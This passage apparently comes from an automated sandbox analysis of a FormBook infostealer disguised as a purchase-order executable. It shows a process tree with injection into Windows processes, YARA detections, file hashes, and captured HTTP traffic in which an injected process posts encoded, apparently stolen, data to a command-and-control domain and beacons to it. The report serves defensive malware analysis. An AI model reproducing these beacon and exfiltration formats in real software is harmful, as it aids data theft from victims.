67 2f 66 61 76 69 63 6f [TRUNCATED] Data Ascii: 1411<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <title></title> <meta name="robots" content="noindex,nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no"> <link rel="shortcut icon" href="/assets/img/favicon.ico" /> <style> * {-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;} html,body,div,span,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,abbr,address,cite,code,del,dfn,em,img,ins,kbd,q,samp,small,strong,sub,sup,var,b,i,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,caption,article,aside,canvas,details,figcaption,figure,footer,header,hgroup,menu,nav,section,summary,time,mark,audio,video {margin:0;padding:0;border:0;outline:0;vertical-align:baseline;background:transparent;} article,aside,details,figcaption,figure,footer,header,hgroup,nav,section {display:block;} html {font-size:16px;line-height:24px;wi [TRUNCATED]
Sep 23, 2024 14:40:16.345798016 CEST	1236	IN	Data Raw: 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 73 63 72 6f 6c 6c 3b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 3b 7d 0a 20 20 20 Data Ascii: ze-adjust:100%;-ms-text-size-adjust:100%;overflow-y:scroll;overflow-x:hidden;} img {vertical-align:middle;max-width:100%;height:auto;border:0;-ms-interpolation-mode:bicubic;} body {min-height:100%;background:#f4f6f8;text-render
Sep 23, 2024 14:40:16.345805883 CEST	1236	IN	Data Raw: 65 72 2d 73 70 61 63 69 6e 67 3a 2d 31 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 63 6f 6c 6f 72 3a 23 37 37 37 3b 7d 0a 20 20 20 20 20 20 20 20 2e 65 72 72 6f 72 2d 70 61 67 65 2d 77 72 61 70 70 65 72 20 2e 73 75 62 68 65 Data Ascii: er-spacing:-1px;margin-bottom:20px;color:#777;} .error-page-wrapper .subheader {transition:color .2s linear;font-size:32px;line-height:46px;color:#494949;} .error-page-wrapper .hr {height:1px;background-color:#eee;width:80%;max
Sep 23, 2024 14:40:16.346045017 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 2e 65 72 72 6f 72 2d 70 61 67 65 2d 77 72 61 70 70 65 72 20 7b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 35 25 3b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 65 72 72 6f 72 2d 70 61 67 65 2d 77 72 61 70 70 65 72 20 2e 63 6f Data Ascii: .error-page-wrapper {padding:30px 5%;} .error-page-wrapper .content-container {padding:37px;position:static;left:0;margin-top:0;margin-left:0;} .error-page-wrapper .head-line {font-size:36px;} .error
Sep 23, 2024 14:40:16.346060038 CEST	394	IN	Data Raw: 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 75 62 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 20 20 e6 a8 a1 e5 9d 97 e4 b8 8d e5 ad 98 e5 9c a8 3a 78 65 64 77 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 63 Data Ascii: div> <div class="subheader"> :xedw </div> <div class="hr"></div> <div class="context"> <p> </p> </div> <div class="buttons-container">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49757	84.32.84.32	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:40:21.475891113 CEST	770	OUT	POST /8xob/ HTTP/1.1 Host: www.bodegamayorista.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.bodegamayorista.online Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 215 Connection: close Referer: http://www.bodegamayorista.online/8xob/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 4e 33 51 50 42 50 30 43 61 32 34 59 63 43 75 42 34 46 6e 43 54 33 6b 61 44 47 47 55 46 52 43 6f 44 4c 61 32 36 6d 47 4f 63 4f 31 44 50 68 58 4f 47 51 35 5a 6b 69 47 38 56 32 6d 43 2b 79 58 54 58 51 67 44 72 69 76 69 7a 51 36 59 65 67 6a 77 69 38 6f 76 64 6d 6f 32 56 2f 6f 5a 4d 48 4f 73 37 30 43 4d 50 7a 51 6c 53 68 50 48 54 33 39 35 35 7a 70 65 39 74 55 47 62 37 66 51 77 57 4f 52 4c 2f 6e 62 43 56 51 4a 42 70 32 4a 6d 75 5a 7a 2b 46 78 67 59 7a 4a 31 54 37 41 6a 42 6f 76 57 71 74 2f 6c 77 59 45 6c 4c 73 6d 4e 78 74 4b 77 61 51 41 6c 6a 37 39 5a 70 4c 42 46 68 49 56 6b 78 59 6c 4c 46 59 4c 52 66 4e 63 73 32 34 71 48 39 67 3d 3d Data Ascii: 76=N3QPBP0Ca24YcCuB4FnCT3kaDGGUFRCoDLa26mGOcO1DPhXOGQ5ZkiG8V2mC+yXTXQgDrivizQ6Yegjwi8ovdmo2V/oZMHOs70CMPzQlShPHT3955zpe9tUGb7fQwWORL/nbCVQJBp2JmuZz+FxgYzJ1T7AjBovWqt/lwYElLsmNxtKwaQAlj79ZpLBFhIVkxYlLFYLRfNcs24qH9g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49758	84.32.84.32	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:40:24.023880005 CEST	790	OUT	POST /8xob/ HTTP/1.1 Host: www.bodegamayorista.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.bodegamayorista.online Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 235 Connection: close Referer: http://www.bodegamayorista.online/8xob/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 4e 33 51 50 42 50 30 43 61 32 34 59 54 43 65 42 30 47 50 43 66 48 6b 5a 61 32 47 55 4d 78 44 6a 44 4c 65 32 36 6e 43 65 63 38 52 44 50 42 48 4f 48 52 35 5a 6a 69 47 38 64 57 6d 39 68 69 57 2b 58 51 39 2b 72 6a 6a 69 7a 55 61 59 65 68 54 77 69 50 77 6f 63 32 6f 77 54 2f 6f 68 52 58 4f 73 37 30 43 4d 50 33 41 4c 53 69 2f 48 53 48 74 35 35 57 46 5a 2b 74 55 46 63 37 66 51 68 47 4f 56 4c 2f 6e 70 43 52 51 6a 42 72 2b 4a 6d 76 70 7a 2b 51 64 6a 52 7a 4a 7a 4f 4c 41 74 42 4e 43 73 6c 4f 50 68 78 5a 34 48 42 64 7a 6d 39 37 58 53 41 79 4d 4a 39 71 46 69 74 4a 6c 7a 32 75 49 52 7a 5a 68 54 49 36 2f 77 41 36 35 47 37 71 4c 44 72 61 5a 47 49 53 63 36 43 35 41 77 59 32 30 5a 44 61 5a 32 69 71 51 3d Data Ascii: 76=N3QPBP0Ca24YTCeB0GPCfHkZa2GUMxDjDLe26nCec8RDPBHOHR5ZjiG8dWm9hiW+XQ9+rjjizUaYehTwiPwoc2owT/ohRXOs70CMP3ALSi/HSHt55WFZ+tUFc7fQhGOVL/npCRQjBr+Jmvpz+QdjRzJzOLAtBNCslOPhxZ4HBdzm97XSAyMJ9qFitJlz2uIRzZhTI6/wA65G7qLDraZGISc6C5AwY20ZDaZ2iqQ=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49759	84.32.84.32	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:40:26.567243099 CEST	1803	OUT	POST /8xob/ HTTP/1.1 Host: www.bodegamayorista.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.bodegamayorista.online Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1247 Connection: close Referer: http://www.bodegamayorista.online/8xob/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 4e 33 51 50 42 50 30 43 61 32 34 59 54 43 65 42 30 47 50 43 66 48 6b 5a 61 32 47 55 4d 78 44 6a 44 4c 65 32 36 6e 43 65 63 38 5a 44 4d 79 2f 4f 47 79 68 5a 69 69 47 38 43 6d 6d 38 68 69 58 38 58 51 6b 31 72 6a 66 63 7a 57 69 59 65 44 62 77 6b 2b 77 6f 46 6d 6f 77 66 66 6f 61 4d 48 50 78 37 30 54 45 50 7a 6b 4c 53 69 2f 48 53 43 68 35 37 44 70 5a 34 74 55 47 62 37 66 63 77 57 4f 39 4c 2f 2b 63 43 52 55 5a 43 66 4b 4a 6e 4d 52 7a 38 69 6c 6a 61 7a 4a 78 65 62 42 72 42 4e 47 4a 6c 50 6a 58 78 5a 4d 39 42 66 54 6d 2b 73 7a 4c 63 6d 46 52 71 61 41 2f 6d 72 46 45 78 65 68 68 72 4c 35 59 4f 59 76 4c 4e 74 78 48 69 59 2f 4e 67 66 45 6d 4b 42 35 45 4a 35 68 70 64 68 39 42 51 4a 31 53 2f 64 51 41 56 41 6c 75 2b 74 35 4d 39 53 47 51 37 4c 73 54 59 67 52 39 4f 34 51 46 71 33 2b 2b 61 49 54 62 2f 61 77 6e 62 62 46 4a 58 70 32 62 6b 4f 52 73 7a 46 73 7a 35 39 2f 4c 66 4e 52 65 53 4c 37 39 31 4f 58 74 63 6a 66 59 50 56 49 52 49 71 58 70 77 78 45 66 69 49 38 44 37 45 2b 61 78 76 68 73 6f 53 4c 4d 51 32 58 [TRUNCATED] Data Ascii: 76=N3QPBP0Ca24YTCeB0GPCfHkZa2GUMxDjDLe26nCec8ZDMy/OGyhZiiG8Cmm8hiX8XQk1rjfczWiYeDbwk+woFmowffoaMHPx70TEPzkLSi/HSCh57DpZ4tUGb7fcwWO9L/+cCRUZCfKJnMRz8iljazJxebBrBNGJlPjXxZM9BfTm+szLcmFRqaA/mrFExehhrL5YOYvLNtxHiY/NgfEmKB5EJ5hpdh9BQJ1S/dQAVAlu+t5M9SGQ7LsTYgR9O4QFq3++aITb/awnbbFJXp2bkORszFsz59/LfNReSL791OXtcjfYPVIRIqXpwxEfiI8D7E+axvhsoSLMQ2XnLpE0o5YCCcYqvRDBPAU4xxAkvmDfWbG3Efs+Yhr5AJTFFiyz42B7bCqaoCqNMyjWZh2pthrz6hAemwM+GU+bnCWS1//Vjdn4vrDJCfZy5AEy7AXzfMCVgglwsl404pUWtLhDihzmtu86dupHHvcc72FhRCWWo96Bu9pL7EfwEn8Y8XKjB3gV7TueRbixa8yzr3eeHEAuRX6xNtIerF4cMje9jjyUs7jNE0AcMoBjDX2aKhHQHAfQ5RRUGbwmzKi8/BnEb60BXRAf0TPYXyAKaLM/9RAjqZFfqsOsaQaw0wiy05VJZoGMSQFG0RPwC24FSij3sP/9iQZ1dgq+H/HclPoq0aw9/IlnCH90NkSG+LUBUhTs5CaiSzElVv+woVAVlcRkUMKX4jZgPBE99MQ6wgrHHz+pIhbi2Pi6z+t6WZWsGl62izfZsB1dSvRYWOxu2/YStjx00NhD9fHfbsjB4dNTxvwQdlPgNkcaYBsJ5WBIiyXZu7HVSfbFXigHmBhaArLYWMW9+D4ScAI/BrCGkX5LGE5bK06dFUMAyQIb+m8VsZHRiqEfI+44R3CNUbF//WgDMUHuMMlDt3lhLdY5wG2nLL39docoxEZwDKSLiM1z1fRyJk89Gta2m9INfBk5TBHZ0qBIcMJUz9dPWUKZfVYkpJ2BoLgs1 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49760	84.32.84.32	80

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:40:30.467418909 CEST	487	OUT	GET /8xob/?76=A14vC586VW4zZwTD5W+icFgZA3/gFFWkfN+k13nedPAvAgeoNHQOmzzfD2mClB7mOSU9pQTtzUjUfjrPrdgjVCIgZM4LbXLF8ymXXAVuMS/ObX4kzH9c4ewBdY7tnGrMOo/XDCkVFvSq&mtJD_=fvdlJ2L HTTP/1.1 Host: www.bodegamayorista.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Sep 23, 2024 14:40:30.936996937 CEST	1236	IN	HTTP/1.1 200 OK Server: hcdn Date: Mon, 23 Sep 2024 12:40:30 GMT Content-Type: text/html Content-Length: 10072 Connection: close Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: df02236822b7151e5173a067f1408c60-bos-edge1 Expires: Mon, 23 Sep 2024 12:40:29 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED] Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"
Sep 23, 2024 14:40:30.937010050 CEST	1236	IN	Data Raw: 4f 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61 Data Ascii: Open Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600
Sep 23, 2024 14:40:30.937016964 CEST	1236	IN	Data Raw: 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 62 61 72 2d 6e 61 76 3e 6c 69 3e 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 Data Ascii: x;font-size:13px;padding-left:5px;padding-right:5px}.navbar-nav>li>a:hover{text-decoration:none;color:#cdc3ea!important}.navbar-nav>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-c
Sep 23, 2024 14:40:30.937074900 CEST	672	IN	Data Raw: 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 2d 69 6e 76 65 72 73 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f Data Ascii: r:#fff!important}.navbar{border-radius:0!important}.navbar-inverse{background-color:#36344d;border:none}.column-custom-wrap{padding-top:10px 20px}.badge{font-size:12px;line-height:16px;min-height:20px;min-width:20px;vertical-align:middle;text-
Sep 23, 2024 14:40:30.937082052 CEST	1236	IN	Data Raw: 73 79 6e 63 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 7d 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 3d 77 Data Ascii: sync></script><script>function gtag(){dataLayer.push(arguments)}window.dataLayer=window.dataLayer\|\|[],gtag("js",new Date),gtag("config","UA-26575989-44")</script><nav class="navbar navbar-inverse"><div class=container-fluid style="padding:0 32
Sep 23, 2024 14:40:30.937088013 CEST	1236	IN	Data Raw: 6f 67 69 6e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 6e 61 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 65 6d 70 74 79 2d 61 63 63 6f 75 6e 74 2d 70 61 67 65 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 6f 6e 74 61 Data Ascii: ogin</a></li></ul></div></div></nav><div class=empty-account-page><div class=container><div class="col-xs-12 top-container"><div class=message><h2 id=pathName><i></i></h2><div class=message-subtitle>Happy to see your domain with Hostinger!</di
Sep 23, 2024 14:40:30.937100887 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 2e 68 6f 73 74 69 6e 67 65 72 2e 63 6f 6d 2f 65 6e 2f 61 72 74 69 63 6c 65 73 2f 31 35 38 33 32 31 34 2d 68 6f 77 2d 74 6f 2d 61 64 64 2d 61 2d 64 6f 6d 61 69 6e 2d 74 6f 2d 6d 79 2d 61 63 63 6f 75 6e 74 2d 68 6f 77 2d 74 6f 2d Data Ascii: upport.hostinger.com/en/articles/1583214-how-to-add-a-domain-to-my-account-how-to-add-website rel=nofollow>Add a website</a></div></div><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=column-custom><div class=column-title>Change
Sep 23, 2024 14:40:30.937108040 CEST	1236	IN	Data Raw: 68 2e 66 6c 6f 6f 72 28 72 2f 37 30 30 29 3a 72 3e 3e 31 2c 72 2b 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 72 2f 65 29 2c 74 3d 30 3b 34 35 35 3c 72 3b 74 2b 3d 6f 29 72 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 72 2f 33 35 29 3b 72 65 74 75 72 6e 20 4d 61 Data Ascii: h.floor(r/700):r>>1,r+=Math.floor(r/e),t=0;455<r;t+=o)r=Math.floor(r/35);return Math.floor(t+36*r/(r+38))}this.decode=function(e,t){var a,h,f,i,c,u,d,l,p,g,s,C,w,v,m=[],y=[],E=e.length;for(a=128,f=0,i=72,(c=e.lastIndexOf("-"))<0&&(c=0),u=0;u<c
Sep 23, 2024 14:40:30.937304974 CEST	328	IN	Data Raw: 5d 3d 74 5b 64 5d 21 3d 77 5b 64 5d 3b 76 61 72 20 6d 2c 79 3d 5b 5d 3b 66 6f 72 28 68 3d 31 32 38 2c 75 3d 37 32 2c 64 3d 66 3d 30 3b 64 3c 76 3b 2b 2b 64 29 74 5b 64 5d 3c 31 32 38 26 26 79 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 Data Ascii: ]=t[d]!=w[d];var m,y=[];for(h=128,u=72,d=f=0;d<v;++d)t[d]<128&&y.push(String.fromCharCode(w?(m=t[d],(m-=(m-97<26)<<5)+((!w[d]&&m-65<26)<<5)):t[d]));for(i=c=y.length,0<c&&y.push("-");i<v;){for(l=r,d=0;d<v;++d)h<=(C=t[d])&&C<l&&(l=C);if(l-h>Math
Sep 23, 2024 14:40:30.937310934 CEST	760	IN	Data Raw: 64 3d 30 3b 64 3c 76 3b 2b 2b 64 29 7b 69 66 28 28 43 3d 74 5b 64 5d 29 3c 68 26 26 2b 2b 66 3e 72 29 72 65 74 75 72 6e 20 45 72 72 6f 72 28 22 70 75 6e 79 63 6f 64 65 5f 6f 76 65 72 66 6c 6f 77 28 32 29 22 29 3b 69 66 28 43 3d 3d 68 29 7b 66 6f Data Ascii: d=0;d<v;++d){if((C=t[d])<h&&++f>r)return Error("punycode_overflow(2)");if(C==h){for(p=f,g=o;!(p<(s=g<=u?1:u+26<=g?26:g-u));g+=o)y.push(String.fromCharCode(e(s+(p-s)%(o-s),0))),p=Math.floor((p-s)/(o-s));y.push(String.fromCharCode(e(p,a&&w[d]?1:

Target ID:	0
Start time:	08:36:19
Start date:	23/09/2024
Path:	C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe"
Imagebase:	0x400000
File size:	1'509'575 bytes
MD5 hash:	4D40B6F064DB9C79D427CA2A2C9B87AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	08:36:27
Start date:	23/09/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe"
Imagebase:	0x9f0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1627616041.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1627616041.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1628046718.0000000003640000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1628046718.0000000003640000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1628574210.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1628574210.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	08:36:33
Start date:	23/09/2024
Path:	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe"
Imagebase:	0x5b0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3865120217.0000000002590000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.3865120217.0000000002590000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	08:36:38
Start date:	23/09/2024
Path:	C:\Windows\SysWOW64\grpconv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\grpconv.exe"
Imagebase:	0x380000
File size:	40'448 bytes
MD5 hash:	5A13926732E6D349FD060C072BC7FB74
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3868781566.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3868781566.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3868947164.0000000004200000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3868947164.0000000004200000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3858711840.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3858711840.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	6
Start time:	08:36:51
Start date:	23/09/2024
Path:	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe"
Imagebase:	0x5b0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3871192963.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3871192963.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	08:37:04
Start date:	23/09/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true